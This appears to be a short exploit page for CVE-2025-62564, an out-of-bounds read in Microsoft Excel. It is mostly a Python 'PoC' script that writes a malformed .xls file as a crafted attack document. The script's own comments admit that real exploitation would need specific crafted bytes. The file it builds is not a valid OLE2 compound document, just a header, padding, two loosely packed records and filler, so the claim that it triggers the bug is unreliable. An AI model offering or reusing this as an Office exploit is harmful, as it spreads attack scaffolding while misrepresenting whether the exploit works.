CVE-2025-62564: Microsoft Office Excel越界读取漏洞导致本地代码执行

# CVE-2025-62564 PoC - Malicious Excel File Trigger # This PoC demonstrates the structure needed to trigger the vulnerability # In real exploitation, specific binary data would be crafted import struct def create_malicious_excel(): """ Create a minimal PoC Excel file that attempts to trigger CVE-2025-62564 out-of-bounds read vulnerability """ # Excel file signature excel_header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE2 compound document structure # This is a simplified representation header = bytearray(excel_header) # Add malicious payload markers # In actual exploitation, specific byte sequences would trigger the bug payload = b'\x00' * 100 # Padding to reach vulnerable code path payload += b'\xFF\xFF\xFF\xFF' * 10 # Malformed data structures # Excel-specific records that may trigger the vulnerability # BOF record (Beginning of File) bof_record = struct.pack('<HHII', 0x0809, 0x001E, 0x00000000, 0x00000006) # SST record (Shared String Table) - potential trigger point sst_record = struct.pack('<HHI', 0x00FC, 0x0008, 0x00000002) # Malformed data that may cause out-of-bounds read malformed_data = b'\x41' * 0x1000 + b'\x00' * 0x1000 full_payload = header + payload + bof_record + sst_record + malformed_data # Save as .xls file with open('CVE-2025-62564_poc.xls', 'wb') as f: f.write(full_payload) print('[+] PoC Excel file created: CVE-2025-62564_poc.xls') print('[+] This file attempts to trigger out-of-bounds read in Excel') if __name__ == '__main__': create_malicious_excel()